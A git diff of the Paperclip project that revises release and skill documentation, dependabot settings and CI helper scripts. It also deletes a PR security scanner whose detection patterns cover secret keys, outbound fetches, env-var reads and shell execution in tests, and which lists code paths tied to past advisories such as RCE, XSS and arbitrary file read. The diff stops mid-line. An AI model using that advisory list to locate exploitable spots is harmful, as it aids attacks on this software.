diff --git a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md index 29af882a84b..06e6b2efe59 100644 --- a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md +++ b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md @@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents, or the user explicitly asks for the normal isolated-workspace database. ```sh -pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes +npx paperclipai worktree reseed --from-instance default --seed-mode full --yes ``` After reseed, restart through the managed runtime path. A reseed can copy diff --git a/.agents/skills/paperclip-page/README.md b/.agents/skills/paperclip-page/README.md index 47cf6d0f1e6..21bf74d3349 100644 --- a/.agents/skills/paperclip-page/README.md +++ b/.agents/skills/paperclip-page/README.md @@ -493,12 +493,12 @@ Create secrets from environment variables so values do not land in shell history export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)" export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)" -pnpm exec paperclipai secrets create \ +npx paperclipai secrets create \ --company-id \ --name paperclip-page-aws-access-key-id \ --value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID -pnpm exec paperclipai secrets create \ +npx paperclipai secrets create \ --company-id \ --name paperclip-page-aws-secret-access-key \ --value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY @@ -532,7 +532,7 @@ host `AWS_PROFILE` identity for the entire agent run: Create or update the company skill from this package: ```bash -pnpm exec paperclipai skills create \ +npx paperclipai skills create \ --company-id \ --name "Paperclip Page" \ --slug paperclip-page \ @@ -543,7 +543,7 @@ pnpm exec paperclipai skills create \ Attach it to an agent: ```bash -pnpm exec paperclipai skills agent sync \ +npx paperclipai skills agent sync \ --company-id \ --skill paperclip-page ``` diff --git a/.agents/skills/release-changelog-discord-message/SKILL.md b/.agents/skills/release-changelog-discord-message/SKILL.md index 367ee8474d2..cd8cc50af3f 100644 --- a/.agents/skills/release-changelog-discord-message/SKILL.md +++ b/.agents/skills/release-changelog-discord-message/SKILL.md @@ -11,7 +11,11 @@ description: > Write the Discord release announcement for the **stable** Paperclip release. This is the companion to `.agents/skills/release-changelog/SKILL.md`. That skill -generates the file at `releases/vYYYY.MDD.P.md`. This skill turns that file into +writes the changelog — during the beta soak it lives at +`releases/beta/v{beta-version}.md` on the `release-notes/v{beta-version}` +branch, and after the stable ships a canonicalization PR renames it to +`releases/vYYYY.MDD.P.md` (see that skill's Channel Process section). This +skill turns that file into a single copy-pasteable Discord block, in dotta's voice, and posts it as the `discord_announcement` document on the release issue. @@ -27,8 +31,9 @@ current Paperclip work — not invented. ## When to use -- After `release-changelog` has produced `releases/vYYYY.MDD.P.md` on the - release worktree/PR. +- After `release-changelog` has produced the changelog (beta-keyed on the + `release-notes/v{beta-version}` branch during the soak, or the + canonicalized `releases/vYYYY.MDD.P.md` after the stable ships). - When the release issue (the one assigned by the release routine) asks for a Discord announcement, or has a `discord_announcement` document that needs to be refreshed for a new date/version. @@ -123,6 +128,12 @@ Notes on the template: - The opening and closing `:paperclip: :paperclip: :paperclip:` bookends are part of the brand — keep them. +- Name the install channels somewhere in the post: `npx paperclipai@latest` + for the stable, `@beta` / `@nightly` / `@canary` for earlier access, and + Docker `:latest` moving **only** on stable releases. +- The FULL RELEASE NOTES link points at `releases/v{VERSION}.md` on + `master` — that file exists only after the post-stable canonicalization + PR merges. Merge it before the announcement is posted. - Sections may be UPPERCASE or Title Case — dotta has used both. Pick a style and stay consistent within a single post. - Use `||@everyone||` (Discord spoiler-wrapped) at the very end so it pings @@ -152,6 +163,9 @@ Mimic this register; do not invent a "professional" tone. - **"WHATS NEXT" is forward-looking themes**, not a literal sprint list. 3–5 bullets is the right size. Pull these from active goals, in-flight projects, and recent issues the team is working on — do not invent themes. +- **Highlights follow the changelog skill's delta rule**: a feature the + previous announcement already introduced appears only for what changed + this release, and does not headline twice for follow-through work. - **"What's on my mind"** is dotta's personal/strategic thinking — docs gaps, philosophical positioning ("we're the human control plane for ai labor"), invitations ("if you've ever wanted to write about how you use Paperclip, @@ -163,7 +177,8 @@ Mimic this register; do not invent a "professional" tone. (follow the twitter, intros, beta sign-ups). No real ask → drop it. - **Community** is the same contributors list that's in the changelog file, fenced in a triple-backtick block, comma-separated `@username, @username`. - Exclude bots and Paperclip founders, same rules as the changelog skill. + Exclude bots and the specific folks on the changelog skill's canonical + exclusion list — same rules. - **The "In Summary" mission line** evolves slowly. Use the most recent variant unless dotta tells you otherwise. Recent variants: - "PAPERCLIP IS THE AI ORCHESTRATOR FOR HUMANS TO ACCOMPLISH 100x MORE WORK" @@ -174,15 +189,19 @@ Mimic this register; do not invent a "professional" tone. ## Workflow -1. Read the matching `releases/vYYYY.MDD.P.md` produced by `release-changelog`. - Use the version and contributor list from that file — never re-derive them. +1. Read the matching changelog produced by `release-changelog` — the + beta-keyed file during the soak, `releases/vYYYY.MDD.P.md` once + canonicalized. Use the version and contributor list from that file — + never re-derive them. 2. Resolve the parent `release` case with key `paperclip-release:vYYYY.MDD.P`. If it does not exist and Cases are enabled, create it using the schema in `.agents/skills/release-changelog/SKILL.md` before creating child cases. 3. Read the **release issue thread** (the one assigned to you that ran the release routine) — comments + linked issues + recent issues in the company - are the source for `WHATS NEXT` and `What's on my mind`. Pull real themes, - not invented ones. + are the source for `WHATS NEXT` and `What's on my mind`. Commits already + on `origin/master` **after** the beta source commit are prime "what's + next" material: they are literally the next release's content. Pull real + themes, not invented ones. 4. Re-read the three verbatim examples below — they're the canonical voice. 5. Draft the announcement using the template above. 6. PUT it as the `discord_announcement` document on the release issue (see @@ -444,7 +463,8 @@ https://github.com/paperclipai/paperclip/blob/master/releases/v2026.427.0.md Before handing off: 1. Version + date match the matching `releases/vYYYY.MDD.P.md` exactly. -2. Contributor list matches the changelog (same exclusions: bots, founders). +2. Contributor list matches the changelog (same exclusions: bots and the + changelog skill's canonical excluded-folks list). 3. Highlights are a subset of the changelog Highlights — same shipped features, not invented or pre-alpha work. 4. `WHATS NEXT` and `What's on my mind` are pulled from real recent issues / diff --git a/.agents/skills/release-changelog/SKILL.md b/.agents/skills/release-changelog/SKILL.md index 8bf662ed6b3..55e7b360ea3 100644 --- a/.agents/skills/release-changelog/SKILL.md +++ b/.agents/skills/release-changelog/SKILL.md @@ -32,14 +32,57 @@ Important rules: - do not derive versions from semver bump types - do not create canary changelog files +## Channel Process — Source Commit and File Location + +Stables promote a **soaked beta**, so the changelog describes the beta's +source commit, not the tip of `master`: + +- The release **source** is the commit the newest `beta/v` + tag points at (`{beta-src}` below). Resolve it with: + + ```bash + git fetch origin --tags + npm view paperclipai dist-tags # the beta dist-tag names the version + git rev-parse 'beta/v{beta-version}^{commit}' + ``` + +- Commits on `master` after `{beta-src}` ship in the **next** release. + Never include them; they are input for a "what's next" section, not the + changelog. +- During the soak, the file lives at `releases/beta/v{beta-version}.md` + on the branch `release-notes/v{beta-version}` (PR to `master`). The + release workflow pushes that branch with a generated skeleton when the + beta publishes; work on it and rewrite the skeleton in place. If the + branch does not exist (a beta cut before the automation), create it + from `origin/master` and seed the skeleton: + + ```bash + ./scripts/draft-stable-notes.sh {beta-version} + ``` + +- The PR must merge to `master` **before** the stable is dispatched: the + stable preflight reads the file from `master` and fails without it. +- Never create `releases/vYYYY.MDD.P.md` yourself on this path — after + the stable ships, the workflow opens a canonicalization PR that renames + the beta-keyed file to it. +- **Fix path exception** (patch releases from a `candidate/release-*` + branch): there the notes *do* go directly on the candidate branch as + `releases/vYYYY.MDD.P.md`, committed alongside the cherry-picked fixes. + ## Step 0 — Idempotency Check -Before generating anything, check whether the file already exists: +Before generating anything, check whether the changelog already exists: ```bash -ls releases/vYYYY.MDD.P.md 2>/dev/null +ls releases/beta/v{beta-version}.md 2>/dev/null # soak-window home +ls releases/vYYYY.MDD.P.md 2>/dev/null # canonicalized / fix path +git ls-remote origin 'refs/heads/release-notes/v{beta-version}' ``` +A `release-notes/v{beta-version}` branch holding only the generated +skeleton is the normal starting state, not a conflict — rewrite it in +place. + If it exists: 1. read it first @@ -49,13 +92,17 @@ If it exists: ## Step 1 — Determine the Stable Range -Find the last stable tag: +Find the last stable tag and the beta source commit: ```bash git tag --list 'v*' --sort=-version:refname | head -1 -git log v{last}..HEAD --oneline --no-merges +beta_src="$(git rev-parse 'beta/v{beta-version}^{commit}')" +git log v{last}..${beta_src} --oneline --no-merges ``` +The changelog range is always `v{last}..{beta-src}` — never `..HEAD` and +never `..origin/master`. + The stable version comes from one of: - an explicit maintainer request @@ -76,8 +123,8 @@ Collect release data from: Useful commands: ```bash -git log v{last}..HEAD --oneline --no-merges -git log v{last}..HEAD --format="%H %s" --no-merges +git log v{last}..{beta-src} --oneline --no-merges +git log v{last}..{beta-src} --format="%H %s" --no-merges ls .changeset/*.md | grep -v README.md gh pr list --state merged --search "merged:>={last-tag-date}" --json number,title,body,labels ``` @@ -94,10 +141,10 @@ Look for: Key commands: ```bash -git diff --name-only v{last}..HEAD -- packages/db/src/migrations/ -git diff v{last}..HEAD -- packages/db/src/schema/ -git diff v{last}..HEAD -- server/src/routes/ server/src/api/ -git log v{last}..HEAD --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true +git diff --name-only v{last}..{beta-src} -- packages/db/src/migrations/ +git diff v{last}..{beta-src} -- packages/db/src/schema/ +git diff v{last}..{beta-src} -- server/src/routes/ server/src/api/ +git log v{last}..{beta-src} --format="%s" | rg -n 'BREAKING CHANGE|BREAKING:|^[a-z]+!:' || true ``` If breaking changes are detected, flag them prominently — they must appear in the @@ -121,6 +168,14 @@ Guidelines: - write from the user perspective - keep highlights short and concrete - spell out upgrade actions for breaking changes +- **describe deltas, not repeats**: read the previous stable's notes + (`releases/v.md`) before writing. When they already + introduced a feature, this release's entry covers only what changed — + a default flip, a hardening, a completion — phrased against the prior + release ("last release introduced X; this release makes it the + default"), never re-describing the feature as if it debuted. A theme + that headlined the previous release does not headline again for + follow-through work; demote it to Improvements. ### Inline PR and contributor attribution @@ -143,6 +198,14 @@ Rules: ## Step 5 — Write the File +The **file path** is the beta-keyed one from the Channel Process section +(`releases/beta/v{beta-version}.md`), but the **content** is titled with +the planned stable version. Resolve it with +`./scripts/release.sh stable --date {planned-promotion-date} --print-version` +(promotion is normally the beta publish date plus the 3-day soak). If the +promotion date slips, the version re-resolves at dispatch — the beta-keyed +filename makes that harmless; refresh the title when it happens. + The opening line of the changelog must be an H1 of the format `# Paperclip {version}` (no braces), e.g. `# Paperclip v2026.618.0`. Always include the `Paperclip ` prefix and the `v` on the version. @@ -177,14 +240,18 @@ The `Contributors` section should always be included. List every person who auth commits in the release range, @-mentioning them by their **GitHub username** (not their real name or email). To find GitHub usernames: -1. Extract usernames from merge commit messages: `git log v{last}..HEAD --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username. +1. Extract usernames from merge commit messages: `git log v{last}..{beta-src} --oneline --merges` — the branch prefix (e.g. `from username/branch`) gives the GitHub username. 2. For noreply emails like `user@users.noreply.github.com`, the username is the part before `@`. 3. For contributors whose username is ambiguous, check `gh api users/{guess}` or the PR page. **Never expose contributor email addresses.** Use `@username` only. Exclude bot accounts (e.g. `lockfile-bot`, `dependabot`) from the list. -Exclude Paperclip founders from the list (e.g. `cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`) +Exclude specific folks from the list — the Contributors section credits +community contributors only. The canonical exclusion list (keep it here; +the Discord skill defers to it): +`cryppadotta`, `forgottendev`, `devinfoley`, `sockmonster`, `scotttong`, +`nguyenm7`, `nickyleach`, `tonio-alucema` List contributors in alphabetical order by GitHub username (case-insensitive). diff --git a/.claude/launch.json b/.claude/launch.json index 7cbc05c40a6..6258bdc8ccf 100644 --- a/.claude/launch.json +++ b/.claude/launch.json @@ -4,9 +4,12 @@ { "name": "paperclip", "runtimeExecutable": "/bin/sh", - "runtimeArgs": ["-c", "TMPDIR=/tmp pnpm dev"], + "runtimeArgs": [ + "-c", + "TMPDIR=/tmp pnpm dev" + ], "port": 3108, - "autoPort": false + "autoPort": true } ] } diff --git a/.env.example b/.env.example index e747df0914d..ddd69484baa 100644 --- a/.env.example +++ b/.env.example @@ -4,5 +4,11 @@ SERVE_UI=false BETTER_AUTH_SECRET=paperclip-dev-secret PAPERCLIP_TOOL_ACTION_SIGNING_SECRET=paperclip-dev-tool-action-signing-secret-change-me +# Process-wide protection for expensive full-tree workspace Git scans. +# PAPERCLIP_WORKSPACE_GIT_SCAN_CONCURRENCY=2 +# PAPERCLIP_WORKSPACE_GIT_SCAN_QUEUE_CAPACITY=32 +# PAPERCLIP_WORKSPACE_GIT_SCAN_TIMEOUT_MS=8000 +# PAPERCLIP_WORKSPACE_GIT_SCAN_CACHE_TTL_MS=10000 + # Discord webhook for daily merge digest (scripts/discord-daily-digest.sh) # DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/... diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 33caa46d21c..70158884961 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -6,19 +6,21 @@ updates: interval: weekly day: monday time: "06:00" - open-pull-requests-limit: 10 + # Each dependency update gets its own pull request, including major + # version bumps. A grouped major PR cannot merge when one member has + # a blocked upgrade, so it hides the other ready majors. Separate PRs + # let each major land on its own. The limit holds the initial burst + # of pending majors plus the regular minor and patch updates. + open-pull-requests-limit: 20 labels: - "dependencies" - groups: - # Bundle all major version bumps into a single weekly PR so they - # stay visible without flooding the PR list. Minor/patch updates - # still get individual PRs. - major-updates: - applies-to: version-updates + ignore: + # @types/node describes the APIs available in the supported Node runtime. + # Runtime major upgrades are deliberate compatibility changes, so keep + # Dependabot on the current major until the runtime baseline moves too. + - dependency-name: "@types/node" update-types: - - "major" - patterns: - - "*" + - "version-update:semver-major" - package-ecosystem: github-actions directory: "/" diff --git a/.github/scripts/check-pr-coauthors.mjs b/.github/scripts/check-pr-coauthors.mjs new file mode 100644 index 00000000000..13239dd8e1d --- /dev/null +++ b/.github/scripts/check-pr-coauthors.mjs @@ -0,0 +1,135 @@ +#!/usr/bin/env node +/** + * check-pr-coauthors.mjs + * Surfaces the `Co-Authored-By` trailers a squash merge needs to keep + * contributors credited. + * Export: checkCoauthors(commits, prAuthor) → { passed, informational } + * + * This repository squash-merges, so every commit on a branch collapses into + * one commit authored by whoever presses the button. When a branch carries + * someone else's work — a rebase of a stale contributor PR, a port of an + * abandoned branch, a pairing session — their name survives only if the squash + * message carries a `Co-Authored-By` trailer for them. Nothing prompts for it, + * and the PR page keeps showing the original author either way, so the loss is + * invisible at exactly the moment it happens. + * + * Identity matching is a heuristic and is deliberately biased. A commit GitHub + * could not match to an account is credited unless its name or email resolves + * to the PR author, which will occasionally credit someone as a co-author of + * themselves — their git config carrying a real name where the comparison has + * only a login. That error costs a line a human drops while pasting. The + * opposite error costs a contributor their attribution silently, which is the + * failure this gate exists to prevent, so the bias runs towards over-crediting. + * + * Informational rather than a failure, on purpose. The squash message does not + * exist while the PR is open, so this cannot be verified here and cannot be + * fixed here either. Failing the PR would block work on something its author + * has no way to satisfy. What this can do is notice that the situation applies + * and hand over the exact lines to paste. + */ +import { fileURLToPath } from 'node:url'; + +/** + * Fetches every commit on a PR across GitHub pagination. + * + * Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250 + * commits and silently stops. A branch that large is not the case this gate is + * about, and a partial list still surfaces the contributors it did see. + */ +export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) { + const commits = []; + + for (let page = 1; page <= 3; page += 1) { + const batch = await ghFetchFn( + `/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`, + token + ); + commits.push(...batch); + + if (batch.length < 100) break; + } + + return commits; +} + +/** GitHub's own no-reply address for a login, which is what trailers should use. */ +function noReplyEmail(login) { + return `${login}@users.noreply.github.com`; +} + +export function checkCoauthors(commits, prAuthor) { + const author = (prAuthor ?? '').toLowerCase(); + const contributors = new Map(); + // Emails already accounted for under a GitHub login. One person can appear + // both ways in the same branch — some commits matched to their account, some + // authored with an email GitHub does not know — and keying on login alone + // would then emit two trailers for them. + const seenEmails = new Set(); + + for (const entry of commits ?? []) { + const login = entry?.author?.login ?? null; + const gitName = entry?.commit?.author?.name ?? null; + const gitEmail = entry?.commit?.author?.email ?? null; + + // The PR author's own commits need no trailer — the squash is already + // theirs. Compared case-insensitively because GitHub logins are. + if (login && author && login.toLowerCase() === author) continue; + + // Bots author plenty of commits and crediting them is noise. + if (login && /\[bot\]$/.test(login)) continue; + if (!login && !gitName) continue; + + // A commit GitHub could not match to an account may still be the PR + // author's own — their git config carrying an email GitHub does not know. + // Without this they are listed as a co-author of themselves. + if (!login && author) { + const nameMatches = gitName && gitName.toLowerCase() === author; + const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`); + if (nameMatches || emailMatches) continue; + } + + // Prefer the GitHub identity, so the trailer links to a profile. Fall back + // to the raw git author for a commit GitHub could not match to an account. + const name = login ?? gitName; + const email = login ? noReplyEmail(login) : gitEmail; + if (!email) continue; + + // Keyed on identity, not on the rendered line. One person whose git config + // name changed across commits is still one person, and emitting them twice + // would put two trailers for the same contributor into the squash body. + const key = (login ?? gitEmail ?? name).toLowerCase(); + if (contributors.has(key)) continue; + const emailKey = (gitEmail ?? '').toLowerCase(); + if (emailKey && seenEmails.has(emailKey)) continue; + if (emailKey) seenEmails.add(emailKey); + + const displayName = gitName && login ? gitName : name; + contributors.set(key, { + trailer: `Co-Authored-By: ${displayName} <${email}>`, + name: displayName, + }); + } + + if (contributors.size === 0) return { passed: true, informational: [] }; + + const trailers = [...contributors.values()].map(c => c.trailer).sort(); + const names = [...new Set([...contributors.values()].map(c => c.name))].sort(); + const who = names.length === 1 ? names[0] : `${names.length} other contributors`; + + return { + passed: true, + informational: [ + `This branch carries commits by ${who}. Squash-merging drops that authorship unless ` + + 'the squash message carries their trailers, and nothing else will notice if it does not. ' + + 'Add to the squash body when merging:\n\n' + + trailers.map(line => ` ${line}`).join('\n'), + ], + }; +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) { + const commits = JSON.parse(process.env.PR_COMMITS ?? '[]'); + const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? ''); + console.log(JSON.stringify(result)); + process.exit(0); +} diff --git a/.github/scripts/check-pr-release-bootstrap.mjs b/.github/scripts/check-pr-release-bootstrap.mjs new file mode 100644 index 00000000000..215c3b3afe7 --- /dev/null +++ b/.github/scripts/check-pr-release-bootstrap.mjs @@ -0,0 +1,151 @@ +#!/usr/bin/env node +/** + * check-pr-release-bootstrap.mjs + * Detects release packages that this PR adds or newly release-enables whose + * names do not exist on npm yet, and emits an informational notice: the + * `policy` CI job will stay red until a maintainer bootstraps the name with + * `pnpm run release:bootstrap-package`. Contributors cannot fix that + * themselves, so the notice says so explicitly. + * + * Never fails (informational only) — outputs { passed: true, informational: string[] } + * + * Runs under pull_request_target from base-branch context: it only parses + * JSON and diff text fetched from the GitHub API and queries the npm registry + * with scope-validated names. It never executes PR code. + */ +import { fileURLToPath } from 'node:url'; +import { ghFetch } from './get-bot-token.mjs'; +import { resolveBaseRef } from './check-pr-dependencies.mjs'; + +const MANIFEST_PATH = 'scripts/release-package-manifest.json'; + +// Manifest content comes from the PR head (fork-controlled), so only names +// matching our scope are ever looked up on the registry. +const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/; + +const MAX_REGISTRY_LOOKUPS = 5; + +function buildContentsPath(repo, filename, ref) { + return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; +} + +async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) { + try { + const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token); + const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString()); + return Array.isArray(parsed) ? parsed : []; + } catch { + return []; // manifest missing or unreadable on this ref + } +} + +export async function fetchRegistryPackageExists(packageName) { + const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, { + method: 'HEAD', + }); + if (res.status === 404) return false; + if (res.ok) return true; + throw new Error(`npm registry returned ${res.status} for ${packageName}`); +} + +// Names this PR newly declares a workspace dependency on, per the diff of any +// changed package.json. If one of them is an unpublished manifest entry that +// is not publishFromCi:true, the release manifest validator rejects the PR. +export function addedWorkspaceDependencyNames(files) { + const names = new Set(); + for (const file of files) { + if (!file.filename.endsWith('package.json')) continue; + if (file.filename.includes('node_modules')) continue; + for (const line of (file.patch ?? '').split('\n')) { + if (!line.startsWith('+')) continue; + const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/); + if (match) names.add(match[1]); + } + } + return names; +} + +function buildNotice({ name, reason }) { + const bootstrap = + `a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` + + 'and configure npm trusted publishing (see `doc/PUBLISHING.md`)'; + + if (reason === 'depended') { + return ( + `🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` + + `depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` + + `entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` + + 'No contributor action is needed for the bootstrap itself.' + ); + } + + return ( + `🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` + + `red: ${bootstrap}. No contributor action is needed for this.` + ); +} + +export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) { + const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps; + + const manifestChanged = files.some( + f => f.filename === MANIFEST_PATH && f.status !== 'removed' + ); + // A PR can hit the manifest edge validator without touching the manifest: + // adding a workspace:* dependency on an existing unpublished + // publishFromCi:false package. Patch parsing is free, so compute the added + // dependencies first and keep the zero-API fast path only for PRs that + // neither touch the manifest nor add a workspace dependency. + const dependedOn = addedWorkspaceDependencyNames(files); + if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] }; + + const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); + const [baseEntries, headEntries] = await Promise.all([ + fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef), + fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`), + ]); + + const basePublishFromCiByName = new Map( + baseEntries + .filter(e => e && typeof e.name === 'string') + .map(e => [e.name, e.publishFromCi === true]) + ); + + const candidates = []; + for (const entry of headEntries) { + if (!entry || typeof entry.name !== 'string') continue; + const name = entry.name; + if (!SCOPE_RE.test(name)) continue; + + const enabled = entry.publishFromCi === true; + const baseEnabled = basePublishFromCiByName.get(name); + + if (enabled && baseEnabled !== true) { + // Newly release-enabled (added as true, or flipped false -> true): the + // bootstrap gate itself will fail if the name is missing from npm. + candidates.push({ name, reason: 'enabled' }); + } else if (!enabled && dependedOn.has(name)) { + // Not release-enabled but this PR makes published packages depend on + // it: the manifest edge validator will fail if it stays unpublished. + candidates.push({ name, reason: 'depended' }); + } + } + + const informational = []; + for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) { + let exists; + try { + exists = await registryPackageExists(candidate.name); + } catch { + continue; // registry hiccup: stay quiet, the policy job is the enforcer + } + if (!exists) informational.push(buildNotice(candidate)); + } + + return { passed: true, informational }; +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) { + console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs'); + process.exit(1); +} diff --git a/.github/scripts/check-pr-security.mjs b/.github/scripts/check-pr-security.mjs deleted file mode 100644 index 2361b2bf364..00000000000 --- a/.github/scripts/check-pr-security.mjs +++ /dev/null @@ -1,393 +0,0 @@ -#!/usr/bin/env node -/** - * check-pr-security.mjs - * Runs 6 security checks against a PR diff. Never posts public comments. - * Creates a draft security advisory in the repo if any check fires. - * - * Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR - * Exit: always 0 — security flags are silent, never block the PR visibly. - */ -import { fileURLToPath } from 'node:url'; -import { ghFetch } from './get-bot-token.mjs'; -import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs'; -import { resolveBaseRef } from './check-pr-dependencies.mjs'; - -// ── Pure check functions (exported for testing) ─────────────────────────────── - -const SECRET_PATTERNS = [ - { name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ }, - { name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ }, - { name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ }, - { name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ }, - { name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i }, -]; - -export function scanSecrets(files) { - const flags = []; - for (const file of files) { - if (!file.patch) continue; - const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')); - for (const line of added) { - for (const { name, re } of SECRET_PATTERNS) { - if (re.test(line)) { - flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) }); - } - } - } - } - return flags; -} - -const CI_BUILD_SCRIPTS = [ - 'scripts/release.sh', - 'scripts/check-docker-deps-stage.mjs', - 'scripts/check-release-package-bootstrap.mjs', - 'scripts/release-package-map.mjs', - 'scripts/docker-onboard-smoke.sh', -]; - -export function scanCITampering(files) { - return files - .filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed') - .map(f => ({ check: 'ci-tampering', file: f.filename })); -} - -export function scanBuildScripts(files) { - return files - .filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed') - .map(f => ({ check: 'build-script-change', file: f.filename })); -} - -export function scanSupplyChain(files) { - const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml'); - if (!lockfile?.patch) return []; - - const added = new Set(); - const removed = new Set(); - - for (const line of lockfile.patch.split('\n')) { - const entry = parseLockfilePackageDiffEntry(line); - if (!entry) continue; - if (entry.sign === '+') added.add(entry.packageName); - if (entry.sign === '-') removed.add(entry.packageName); - } - - const netNew = [...added].filter(p => !removed.has(p)); - return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : []; -} - -function parseLockfilePackageDiffEntry(line) { - const match = line.match(/^([+-])\s*(.+?)\s*$/); - if (!match) return null; - - let [, sign, rawEntry] = match; - if (!rawEntry.endsWith(':')) return null; - - rawEntry = rawEntry.slice(0, -1).trim(); - if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) { - rawEntry = rawEntry.slice(1, -1); - } - rawEntry = rawEntry.replace(/\(.*$/, '').trim(); - - const versionSep = rawEntry.lastIndexOf('@'); - if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null; - - const packageName = rawEntry.slice(0, versionSep); - if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null; - - return { sign, packageName }; -} - -const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//; -const SUSPICIOUS_PATTERNS = [ - { name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ }, - { name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ }, - { name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ }, - { name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// }, -]; - -export function scanTestPatterns(files) { - const flags = []; - for (const file of files) { - if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue; - for (const { name, re } of SUSPICIOUS_PATTERNS) { - if (re.test(file.patch)) { - flags.push({ check: 'suspicious-test', file: file.filename, pattern: name }); - } - } - } - return flags; -} - -const SENSITIVE_PATHS = [ - // Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes) - 'packages/adapters/codex-local/', - // Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand - 'server/src/services/workspace-realization.ts', - 'server/src/routes/execution-workspaces.ts', - 'server/src/routes/workspace-command-authz.ts', - // Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys - 'server/src/routes/agents.ts', - // Advisory 4: Approval decision attribution spoofing via decidedByUserId - 'server/src/routes/approvals.ts', - // Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform) - 'ui/src/components/MarkdownBody.tsx', - // Advisory 7: Unauthenticated access to authenticated-mode endpoints - 'server/src/routes/authz.ts', - // Advisory 8: Unauthenticated RCE via import authorization bypass - 'server/src/routes/companies.ts', - // Advisory 9: Malicious skills able to exfiltrate / destroy user data - 'server/src/routes/company-skills.ts', - // Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath - 'server/src/services/agent-instructions.ts', -]; - -export function scanSensitivePaths(files) { - return files - .filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p))) - .map(f => ({ - check: 'sensitive-path', - file: f.filename, - advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)), - })); -} - -function buildContentsPath(repo, filename, ref) { - return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; -} - -export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) { - const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, 